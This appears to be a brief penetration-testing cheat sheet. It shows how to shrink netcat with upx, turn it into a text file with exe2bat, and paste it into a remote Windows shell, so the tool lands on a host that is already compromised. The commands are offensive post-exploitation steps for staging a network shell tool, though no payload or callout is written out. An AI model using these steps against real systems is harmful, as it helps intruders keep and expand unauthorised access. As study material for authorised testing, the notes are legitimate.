Restrictions

Works only on 32-bit Windows
64kB file size limit

Reduce file size

upx -9 nc.exe

Convert exe to txt

locate exe2bat
cp /usr/share/windows-binaries/exe2bat.exe .
wine exe2bat.exe nc.exe nc.txt

Paste content of txt file to remote windows shell

xclip -sel c < nc.txt